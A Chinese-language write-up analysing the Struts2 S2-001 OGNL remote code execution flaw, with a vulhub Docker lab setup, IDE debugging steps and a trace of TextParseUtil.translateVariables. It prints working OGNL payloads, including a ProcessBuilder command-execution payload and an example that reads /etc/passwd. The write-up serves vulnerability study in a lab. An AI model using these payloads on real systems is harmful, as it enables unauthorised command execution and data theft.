Struts2-001 远程代码执行漏洞浅析

一、原理

（一）概述

搭建环境后，查看参考link，可了解相关信息。

读者人群	所有Struts 2 开发者
漏洞影响	远程代码执行
影响程度	重大
影响软件	WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 – WebWork 2.2.5, Struts 2.0.0 – Struts 2.0.8

（二）原理

漏洞的产生在于WebWork 2.1 和Struts 2的’altSyntax’配置允许OGNL 表达式被插入到文本字符串中并被递归处理（Struts2框架使用OGNL作为默认的表达式语言，OGNL是一种表达式语言，目的是为了在不能写Java代码的地方执行java代码；主要作用是用来存数据和取数据的）。这就导致恶意用户可以提交一个字符串（通常通过HTML的text字段），该字符串包含一个OGNL表达式，在表单验证失败后，此表达式会被server执行。例如，下面的表单默认不允许’phoneNumber’字段为空。

<s:form action="editUser">
  <s:textfield name="name" />
  <s:textfield name="phoneNumber" />
</s:form>

此时，恶意用户可以将phoneNumber字段置空以触发验证错误，再控制name字段的值为 %{1+1}。当表单被重新展示给用户时，name字段的值将为2。产生这种情况的原因是这个字段默认被当作%{name}处理，由于OGNL表达式被递归处理，处理的效果等同于%{%{1+1}}。实际上，相关的OGNL解析代码在XWork组件中，并不在WebWork 2或Struts 2内。

用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析，然后重新填充到对应的表单数据中。例如注册或登录页面，提交失败后端一般会默认返回之前提交的数据，由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析，所以可以构造 payload 进行命令执行。

提交表单并验证失败时，由于Strust2默认会原样返回用户输入的值而且不会跳转到新的页面，因此当返回用户输入的值并进行标签解析时，如果开启了altSyntax，会调用translateVariables方法对标签中表单名进行OGNL表达式递归解析返回ValueStack值栈中同名属性的值。因此我们可以构造特定的表单值让其进行OGNL表达式解析从而达到任意代码执行。

二、调试

（一）环境搭建

使用vulhub/struts2/s2-001

docker-compose build
docker-compose up -d

为了动态调试，我们将IDEA中默认生成的这句话append到 Tomcat 的 bin 目录下的catalina.sh文件（如果是 Windows 系统则修改catalina.bat文件），

export JAVA_OPTS='-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001'

原docker-compose.yml修改如下，

version: '2'
services:
 tomcat:
   build: .
   ports:
    - "8080:8080"
    - "8001:8001"
   environment:
     TZ: Asia/Shanghai
     JPDA_ADDRESS: 8001
     JPDA_TRANSPORT: dt_socket
   command: ["catalina.sh", "jpda", "run"]
   networks:
      - default

调用栈将docker-compose down之后再docker-compose up -d，即可正常使用idea调试。

接下来将webapps/ROOT/WEB-INF下的lib和classes都加入idea的lib。

（二）复现

环境搭建完毕后访问http://xxxx:8080/查看结果，

其中的password存在漏洞，用户提交表单数据并且验证失败时，后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析，然后重新填充到对应的表单数据中。

在translateVariables方法中，递归解析表达式，在处理完%{password}后将password的值直接取出并继续在while循环中解析，若用户输入的password是恶意的ognl表达式，则得以解析执行。

按照vulhub的提示，我们可以使用如下命令获取tomcat执行路径：

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

重新渲染后，password字段已经变为执行结果。

相应的可以执行其他命令，这里不过多展示。

获取Web路径：

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

执行任意命令（命令加参数：new java.lang.String[]{"cat","/etc/passwd"}）：

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

（三）调试

Struts运行流程如下：

1.用户发出请求
Tomcat接收请求，并选择处理该请求的Web应用。

2.web容器去相应工程的web.xml
在web.xml中进行匹配，确定是由struts2的过滤器FilterDispatcher(StrutsPrepareAndExecuteFilter)来处理，找到该过滤器的实例(初始化)。

3.找到FilterDispatcher,回调doFilter()
通常情况下，web.xml文件中还有其他过滤器时，FilterDispatcher是放在滤器链的最后；如果在FilterDispatcher前出现了如SiteMesh这种特殊的过滤器，还必须在SiteMesh前引用Struts2的ActionContextCleanUp过滤器。

4.FilterDispatcher将请求转发给ActionMapper
ActionMapper负责识别当前的请求是否需要Struts2做出处理。

5.ActionMapper告诉FilterDispatcher，需要处理这个请求，建立ActionProxy
FilterDispatcher会停止过滤器链以后的部分，所以通常情况下：FilterDispatcher应该出现在过滤器链的最后。然后建立一个ActionProxy对象，这个对象作为Action与xwork之间的中间层，会代理Action的运行过程.

6.ActionProxy询问ConfigurationManager,读取Struts.xml
ActionProxy对象询问ConfigurationManager问要运行哪个Action。ConfigurationManager负责读取并管理struts.xml的（可以理解为ConfigurationManager是struts.xml在内存中的映像）。在服务器启动的时候，ConfigurationManager会一次性的把struts.xml中的所有信息读到内存里，并缓存起来，以保证ActionProxy拿着来访的URL向他询问要运行哪个Action的时候，就可以直接查询。

7.ActionProxy建立ActionInvocation对象
ActionProxy获取了要运行的Action、相关的拦截器以及所有可能使用的result信息，开始建立ActionInvocation对象，ActionInvocation对象描述了Action运行的整个过程。

8.在execute()之前的拦截器
在execute()之前会执行很多默认的拦截器。拦截器的运行被分成两部分，一部分在Action之前运行，一部分在Result之后运行，且顺序是相反的。如在Action执行前的顺序是拦截器1、拦截器2、拦截器3，那么运行Result之后，再次运行拦截器的时候，顺序就是拦截器3、拦截器2、拦截器1。

9.执行execute()方法

10.根据execute方法返回的结果，也就是Result，在struts.xml中匹配选择下一个页面

11.找到模版页面,根据标签库生成最终页面

12.在execute()之后执行的拦截器,和8相反

13.ActionInvocation对象执行完毕
这时候已经得到了HttpServletResponse对象了,按照配置定义相反的顺序再经过一次过滤器,向客户端展示结果。

1.正常解析部分

前半部分调用栈如下，

translateVariables:119, TextParseUtil (com.opensymphony.xwork2.util)
translateVariables:71, TextParseUtil (com.opensymphony.xwork2.util)
findValue:313, Component (org.apache.struts2.components)
evaluateParams:723, UIBean (org.apache.struts2.components)
end:481, UIBean (org.apache.struts2.components)
doEndTag:43, ComponentTagSupport (org.apache.struts2.views.jsp)
_jspx_meth_s_005ftextfield_005f1:16, index_jsp (org.apache.jsp)
_jspx_meth_s_005fform_005f0:16, index_jsp (org.apache.jsp)
_jspService:14, index_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:742, HttpServlet (javax.servlet.http)
...

发送请求，FilterDispatcher.doFilter被触发，这其中调用FilterDispatcher.serviceAction，

invokeAction调用了action（LoginAction）的method（execute），

继续运行，断在LoginAction.execute()，

显然，username不为admin，表单验证失败，此时Strust2默认会调用translateVariables方法对标签中表单名进行OGNL表达式递归解析返回ValueStack值栈中同名属性的值。

中间有若干底层流程，略过，我们直接在doStartTag()下断，

本函数的功能是开始解析标签，

继续向下，开始加载第一个TextField，

接下来如果配置正确（我反正没有配置正确?，只能看到下图），应该会进入jsp页面中，便可以清晰的看到jsp页面被逐标签解析。

当加载到/>时，会进入doEndTag()函数，从名字可以判断，此函数的功能大概是完成对一个标签的解析，因为调试时payload放在了password里面，因而此处对于username的解析不过展示。

此时前面的tag已经被展示出来，未进入doStartTag的password字段没有显示。

接下来我们快进到第二个TextField（password）的doEndTag()。

跟进this.component.end()，进入了org.apache.struts2.components.UIBean#end，

跟进this.evaluateParams();，

快进到this.altSyntax()处，

前面提到，altSyntax默认是开启的，接下来的expr显而易见为%{password}，

跟进this.findValue(expr, valueClazz)，

由前面可知，TextField 的valueClassType为class java.lang.String，且altSyntax默认开启，

因此将会进入TextParseUtil.translateVariables(‘%’, expr, this.stack);，

步入，进入translateVariables，

二级步入，将进入调试的主体部分translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator)，

此处传入的expression为%{password}，

接下来的while循环的目的是确定start和end的位置，

此处显然不会进入if，

接下来，取出%{}表达式中的值，赋值给var，

然后调用stack.findValue(var, asType)，由前面可知，此处的stack为OgnlValueStack，OgnlValueStack是ValueStack的实现类。

valueStack是struts2的值栈空间，是struts2存储数据的空间，是一个接口，struts2使用OGNL表达式实际上是使用实现了ValueStack接口的类OgnlValueStack（它是ValueStack的默认实现类）。

客户端发起一个请求时，struts2会创建一个Action实例同时创建一个OgnlValueStack值栈实例，OgnlValueStack贯穿整个Action的生命周期。Struts2中使用OGNL将请求Action的参数封装为对象存储到值栈中，并通过OGNL表达式读取值栈中的对象属性值。

ValueStack中有两个主要区域

CompoundRoot 区域：是一个ArrayList，存储了Action实例，它作为OgnlContext的Root对象。获取root数据不需要加#
context 区域：即OgnlContext上下文，是一个Map，放置web开发常用的对象数据的引用。request、session、parameters、application等。获取context数据需要加#

操作值栈，通常指的是操作ValueStack中的root区域。

ValueStack类的setValue和findValue方法可以设置和获得Action对象的属性值。OgnlValueStack的findValue方法可以在CompoundRoot中从栈顶向栈底找查找对象的属性值。

跟进findValue()，

由函数名可以推测，这一函数的功能是查找expr对应的值，且此函数最终要return value，我们可以大胆设想，value变量是本函数的重点，如此，则需要重点关注对value进行操作的函数OgnlUtil.getValue，

跟进，

compile对’password’进行解析，返回了适用的结果。

接下来跟进Ognl.getValue，看起来此函数会结合root和context进行value的获取。

显然，这里我们要关注的是result变量，这就需要跟进((Node)tree).getValue(ognlContext, root)。

显然会进入下面的else分支，

跟进之，

看起来，经历了若干级的调用，最终有效的是this.getValueBody(context, source)，

跟进，可以看到再向下跟进最终是将password字段的值加载了进来。

不再深入跟进了，感觉好像没什么意义了?，此时单单getValue的调用栈已经有几层了。

getProperty:1643, OgnlRuntime (ognl)getValueBody:92, ASTProperty (ognl)evaluateGetValueBody:170, SimpleNode (ognl)getValue:210, SimpleNode (ognl)getValue:333, Ognl (ognl)getValue:194, OgnlUtil (com.opensymphony.xwork2.util)findValue:238, OgnlValueStack (com.opensymphony.xwork2.util)

接下来步出几层，回到translateVariables:122, TextParseUtil (com.opensymphony.xwork2.util)，

接下来经过拼接操作，expression被赋值，

2.递归解析部分

我们观察到，此while循环只有一个出口，那就是if (start == -1 || end == -1 || count != 0)，因此这里进行完expression的赋值后，会开启新的一轮while。

这里我们可以看出，translateVariables无意之间递归解析了表达式，我们的password字段放置了%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}这样一个包含%{expression}的字符串，%{password}的结果将再次被当作expression解析，就可能造成恶意ognl表达式的执行。

此次循环中，进入findValue的var是去掉前两个字符的expression，也就是tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}。